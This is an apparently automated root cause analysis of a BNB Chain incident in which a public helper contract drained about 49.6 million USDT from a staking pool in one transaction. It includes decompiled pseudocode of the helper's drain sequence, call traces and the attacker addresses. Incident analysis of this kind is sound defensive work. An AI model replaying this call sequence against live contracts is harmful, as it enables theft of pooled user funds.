BNB-chain constructor exploit drains full USDT pool balance
Exploit Transactions
0x368f842e79a10bb163d98353711be58431a7cd06098d6f4b6cbbcd4c77b53108Victim Addresses
0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822bBSCLoss Breakdown
Similar Incidents
Public mint flaw drains USDT from c3b1 token pool
41%Marketplace proxy 0x9b3e9b92 bug drains USDT and mints rewards
39%BBX auto-burn sync flaw drains USDT from BBX pool
38%Public Mint Drains USDT Pair
37%BRAToken self-transfer tax bug inflates pool and drains USDT
36%BSC PoolWithdraw Signature-Bypass Drains USDT Pool
36%Root Cause Analysis
BNB-chain constructor exploit drains full USDT pool balance
1. Incident Overview TL;DR
On BNB Chain block 40375925, a single contract-creation transaction 0x368f842e79a10bb163d98353711be58431a7cd06098d6f4b6cbbcd4c77b53108 drained the entire 49,583,844 USDT balance from USDT pool contract 0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b. Externally owned account (EOA) 0x8ccf2860f38fc2f4a56dec897c8c976503fcb123 deployed an orchestrator contract 0x64B9D294CD918204D1eE6bcE283edb49302Ddf7e whose constructor immediately called a pre-existing helper 0xa901fda83e9906e6177f3a3f7b85f13f68723326.
The helper read BEP20USDT (0x55d398326f99059ff775485246999027b3197955) balance of the victim pool, invoked victim function selector 0x6c99d7c8 on 0xdb4b73... with that balance as the amount, received the full 49,583,844 USDT from the pool, and then forwarded all 49,583,844 USDT to the attacker EOA. The only capital the attacker supplied was BNB gas; all profit came from custodial USDT inside the victim pool.
The root cause is a code-level authorization and accounting flaw in victim function 0x6c99d7c8, combined with an unprotected helper function on 0xa901fda8.... The victim allows an external caller to trigger a transfer of an arbitrary USDT amount from the pool’s balance without tying that amount to the caller’s recorded stake or enforcing a strict caller whitelist, and the helper hard-codes a pattern that passes USDT.balanceOf(victim) into 0x6c99d7c8 and then forwards the resulting USDT to tx.origin. This creates an anyone-can-take (ACT) opportunity: any unprivileged EOA can perform the same call sequence and drain whatever USDT balance the pool holds in one transaction.
2. Key Background
- Chain and reference asset. The incident occurs on BNB Chain (chainid 56) and involves
BEP20USDTat address0x55d398326f99059ff775485246999027b3197955as the reference asset. USDT balances and profit are measured directly from ERC20 balance changes. - Victim pool role. Contract
0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822bis an unverified USDT staking/pool contract. The decompiled code shows typical stake and withdraw functions that update per-user accounting, and an owner-onlywithdrawToken(address token, address to, uint256 amount)path enforcing owner authorization and balance checks before moving pooled tokens. - Helper contract role. Contract
0xa901fda83e9906e6177f3a3f7b85f13f68723326is a helper/orchestrator contract with a publicly callable function0xf03e41ba(Unresolved_f03e41bain the decompile). This function readsUSDT.balanceOf(victim), calls victim selector0x6c99d7c8on the pool with that amount, and then callsUSDT.transfer(tx.origin, amount)to forward all received USDT to the transaction originator. There is no privilege check on the caller. - Single-transaction exploit. The seed transaction
0x368f84...is a contract-creation transaction from EOA0x8ccf28...that deploys orchestrator contract0x64B9d2.... The constructor performs a single external call sequence: it calls helper0xa901fda8...::0xf03e41ba, which in turn calls the victim and USDT as described above. All exploit logic, from deployment to draining and payout, occurs entirely within this one adversary-crafted transaction.
3. Vulnerability Analysis & Root Cause Summary
The vulnerability is an authorization and accounting flaw in the victim pool’s withdrawal surface, coupled with overly permissive contract composition. Victim function 0x6c99d7c8 accepts a caller-supplied amount and drives an ERC20 USDT transfer out of the pool without restricting the caller to a privileged owner and without checking that the amount is bounded by the caller’s recorded stake. The helper function on 0xa901fda8... amplifies this flaw by automatically requesting USDT.balanceOf(victim) and feeding that into 0x6c99d7c8, then forwarding the resulting USDT balance to tx.origin.
This breaks the intended invariant that pooled USDT can only be withdrawn via per-user withdrawals or explicit owner-only administrative withdrawals; instead, any EOA can use the helper to withdraw the pool’s entire USDT balance in a single call. The root cause is therefore categorized as ATTACK: an adversary-crafted sequence exploits a code-level weakness, not economic competition or benign MEV.
4. Detailed Root Cause Analysis
4.1 Intended victim behavior
Decompiled victim contract 0xdb4b73... shows:
- Per-user staking and withdrawal functions (e.g., selectors
0xc176ecf9,0xfcbb727d) that update user balances and then callUSDT.transfer(msg.sender, amount)after verifying conditions such as"Insufficient staked USDT". - An owner-only administrative withdrawal path:
/// @custom:selector 0x01e33667
/// @custom:signature withdrawToken(address token, address to, uint256 amount) public
function withdrawToken(address arg0, address arg1, uint256 arg2) public {
require(address(msg.sender) == (address(owner / 0x01)), "Caller is not the owner");
// fetch contract token balance, check arg2 <= balance
// then perform ERC20 transfer(token, to, amount)
}
This pattern enforces that large movements of pooled USDT either follow per-user accounting or require owner authorization.
4.2 Exploited victim function 0x6c99d7c8
The exploited external function has selector 0x6c99d7c8. In isolation, the decompiled body is minimal, but on-chain call traces for 0x368f84... show that a call to 0x6c99d7c8 from the helper causes the victim to:
- Call an intermediate contract
0xd5d63074a39bc0202e828b044c02c6f4d2f75c76with selector0x23b872dd(ERC20transferFrom), and - Call USDT with selector
0xa9059cbbto transfer the full pool USDT balance to the helper.
From the trace (callTracer_selectors_flat):
[
{
"depth": 2,
"from": "0xa901fda83e9906e6177f3a3f7b85f13f68723326",
"to": "0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b",
"type": "CALL",
"input": "0x6c99d7c8 ... 000000000000000000000000000000000000000000000a7ff210d3890fca0000",
"selector": "0x6c99d7c8"
},
{
"depth": 3,
"from": "0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b",
"to": "0x55d398326f99059ff775485246999027b3197955",
"type": "CALL",
"selector": "0xa9059cbb",
"input": "0xa9059cbb ... 000000000000000000000000a901fda83e9906e6177f3a3f7b85f13f68723326 000000000000000000000000000000000000000000000a7ff210d3890fca0000"
}
]
The amount 0x000...0a7ff210d3890fca0000 corresponds exactly to 49,583,844e18 USDT. Thus, when called with that amount, 0x6c99d7c8 causes the victim pool to transfer its entire USDT balance to the helper without any per-user or owner-based bound on the amount.
4.3 Helper function 0xf03e41ba on 0xa901fda8...
Decompiled helper contract 0xa901fda8... shows a public function Unresolved_f03e41ba with selector 0xf03e41ba that orchestrates the exploit:
/// @custom:selector 0xf03e41ba
/// @custom:signature Unresolved_f03e41ba() public payable
function Unresolved_f03e41ba() public payable {
// 1. Read USDT balance of victim pool
// store_k is USDT token address; 0x70a08231 is balanceOf
(bool success0, bytes memory ret0) =
address(store_k).call(abi.encodeWithSelector(0x70a08231, 0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b));
uint256 amount = /* decoded balanceOf(victim) = 49,583,844e18 */;
// 2. Call victim function 0x6c99d7c8 with amount
(bool success1, ) =
address(0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b).call(abi.encodeWithSelector(0x6c99d7c8, amount));
// 3. Read helper's own USDT balance, then forward all USDT to tx.origin
(bool success2, bytes memory ret1) =
address(store_k).call(abi.encodeWithSelector(0x70a08231, address(this)));
(bool success3, ) =
address(store_k).call(abi.encodeWithSelector(0xa9059cbb, tx.origin, /* helper balance */));
}
The actual decompiled Solidity is syntactically noisy, but the selectors and addresses match exactly what appears in the on-chain trace:
0x70a08231calls from0xa901fda8...to USDT0x55d3...with target0xdb4b73...and later0xa901fda8....0x6c99d7c8call from0xa901fda8...to the victim.0xa9059cbbcall from0xa901fda8...to USDT0x55d3...with recipient0x8ccf28...and amount49,583,844e18.
Crucially, Unresolved_f03e41ba is public and has no onlyOwner-style guard, so any EOA can invoke this exact sequence.
4.4 Breaking the invariant
The intended pool-level invariant is:
USDT held by victim pool
0xdb4b73...should only leave the contract via (a) user withdrawals that reduce the withdrawing user’s recorded staked-USDT balance or (b) explicit owner-onlywithdrawToken()style operations. There should be no external call path that transfers the pool’s entire USDT balance to an arbitrary address in a single transaction without reconciling per-user accounting.
In tx 0x368f84..., the helper breaks this invariant by:
- Reading
USDT.balanceOf(0xdb4b73...) = 49,583,844e18. - Calling
0xdb4b73...::0x6c99d7c8with that amount, causing the victim to callUSDT.transfer(0xa901fda8..., 49,583,844e18)and move its entire balance to the helper. - Calling
USDT.transfer(0x8ccf2860f38fc2f4a56dec897c8c976503fcb123, 49,583,844e18)from the helper, sending all drained USDT to the attacker EOA.
No per-user accounting is updated and no owner check is enforced in this path, so the entire pool is drained by a single unprivileged transaction.
5. Adversary Flow Analysis
5.1 Adversary-related cluster accounts
-
Attacker EOA:
0x8ccf2860f38fc2f4a56dec897c8c976503fcb123- Sender of the seed transaction
0x368f84.... - Final recipient of
+49,583,844e18USDT in ERC20 balance deltas. tx.originused by helper0xa901fda8...as the recipient inUSDT.transfer(tx.origin, amount).
- Sender of the seed transaction
-
Orchestrator contract:
0x64B9D294CD918204D1eE6bcE283edb49302Ddf7e- Created in
0x368f84...(typeCREATEin callTracer). - Its constructor performs a single external call into helper
0xa901fda8...::0xf03e41ba, so all exploit logic is triggered during deployment.
- Created in
-
Helper contract:
0xa901fda83e9906e6177f3a3f7b85f13f68723326- Public helper whose function
0xf03e41baorchestrates the entire exploit sequence:USDT.balanceOf(victim)→victim.0x6c99d7c8(amount)→USDT.transfer(tx.origin, amount).
- Public helper whose function
-
Victim pool:
0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b(USDT staking/pool contract).- Holds the 49,583,844 USDT balance before the exploit and is left with 0 afterward.
5.2 End-to-end attack transaction
From callTracer_selectors_flat.json for tx 0x368f84..., the key steps are:
[
{
"depth": 0,
"from": "0x8ccf2860f38fc2f4a56dec897c8c976503fcb123",
"to": "0x64b9d294cd918204d1ee6bce283edb49302ddf7e",
"type": "CREATE"
},
{
"depth": 1,
"from": "0x64b9d294cd918204d1ee6bce283edb49302ddf7e",
"to": "0xa901fda83e9906e6177f3a3f7b85f13f68723326",
"type": "CALL",
"selector": "0xf03e41ba"
},
{
"depth": 2,
"from": "0xa901fda83e9906e6177f3a3f7b85f13f68723326",
"to": "0x55d398326f99059ff775485246999027b3197955",
"type": "STATICCALL",
"selector": "0x70a08231",
"input": "0x70a08231 ... db4b73df2f6de4afcd3a883efe8b7a4b0763822b",
"output": "0x...0a7ff210d3890fca0000" // 49,583,844e18
},
{
"depth": 2,
"from": "0xa901fda83e9906e6177f3a3f7b85f13f68723326",
"to": "0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b",
"type": "CALL",
"selector": "0x6c99d7c8",
"input": "0x6c99d7c8 ... 000000000000000000000000000000000000000000000a7ff210d3890fca0000"
},
{
"depth": 3,
"from": "0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b",
"to": "0x55d398326f99059ff775485246999027b3197955",
"type": "CALL",
"selector": "0xa9059cbb",
"input": "0xa9059cbb ... a901fda83e9906e6177f3a3f7b85f13f68723326 ...0a7ff210d3890fca0000"
},
{
"depth": 2,
"from": "0xa901fda83e9906e6177f3a3f7b85f13f68723326",
"to": "0x55d398326f99059ff775485246999027b3197955",
"type": "CALL",
"selector": "0xa9059cbb",
"input": "0xa9059cbb ... 8ccf2860f38fc2f4a56dec897c8c976503fcb123 ...0a7ff210d3890fca0000"
}
]
Narratively:
- The attacker EOA deploys the orchestrator contract.
- The orchestrator constructor calls helper
0xa901fda8...::0xf03e41ba. - The helper queries USDT balance of the victim pool (49,583,844e18).
- The helper calls victim
0xdb4b73...::0x6c99d7c8with that amount. - Inside the victim, USDT
transfermoves 49,583,844e18 USDT from the pool to the helper. - The helper reads its own USDT balance and calls
USDT.transfer(0x8ccf28..., 49,583,844e18), delivering the entire drained amount to the attacker EOA.
No flash loans, governance actions, or multi-block orchestration are involved; the attack is a straightforward single-tx drain enabled by the helper/victim composition.
6. Impact & Losses
ERC20 balance diffs for tx 0x368f84... on chainid 56 show:
{
"native_balance_deltas": [
{
"address": "0x8ccf2860f38fc2f4a56dec897c8c976503fcb123",
"before_wei": "98100000000000000",
"after_wei": "95402355000000000",
"delta_wei": "-2697645000000000"
}
],
"erc20_balance_deltas": [
{
"token": "0x55d398326f99059ff775485246999027b3197955",
"holder": "0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b",
"before": "49583844000000000000000",
"after": "0",
"delta": "-49583844000000000000000"
},
{
"token": "0x55d398326f99059ff775485246999027b3197955",
"holder": "0x8ccf2860f38fc2f4a56dec897c8c976503fcb123",
"before": "0",
"after": "49583844000000000000000",
"delta": "49583844000000000000000"
}
]
}
Interpreting these values:
- The victim pool
0xdb4b73...loses 49,583,844 USDT (from49,583,844e18to0). - The attacker EOA
0x8ccf28...gains 49,583,844 USDT (from0to49,583,844e18). - The attacker pays 0.002697645 BNB in gas (
delta_wei = -2,697,645,000,000,000), which is negligible relative to the USDT gain, so net profit in USDT terms is strictly positive.
Thus, the measurable impact is a full depletion of the victim pool’s USDT holdings in a single transaction, transferring 49,583,844 USDT from the pool to the attacker EOA.
7. References
-
[1] Seed tx metadata and balance diffs.
artifacts/root_cause/seed/56/0x368f842e79a10bb163d98353711be58431a7cd06098d6f4b6cbbcd4c77b53108/metadata.jsonandbalance_diff.json– raw RPC tx data and ERC20/native balance changes confirming the 49,583,844 USDT drain and attacker gas cost. -
[2] Seed tx trace and callTracer selectors.
artifacts/root_cause/data_collector/iter_3/tx/56/0x368f842e79a10bb163d98353711be58431a7cd06098d6f4b6cbbcd4c77b53108/callTracer_selectors_flat.jsonandtrace.cast.log– detailed call graph showing the orchestrator CREATE, helper call to0xf03e41ba, calls to0x6c99d7c8, and ERC20balanceOf/transfercalls. -
[3] Helper and victim decompiled contracts.
artifacts/root_cause/data_collector/iter_1/contract/56/0xa901fda83e9906e6177f3a3f7b85f13f68723326/decompile/0xa901fda83e9906e6177f3a3f7b85f13f68723326-decompiled.soland
artifacts/root_cause/data_collector/iter_1/contract/56/0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b/decompile/0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b-decompiled.sol– decompiled Solidity used to understand the victim’s authorized withdrawal paths, the helper’s public0xf03e41bafunction, and how their composition enables the drain.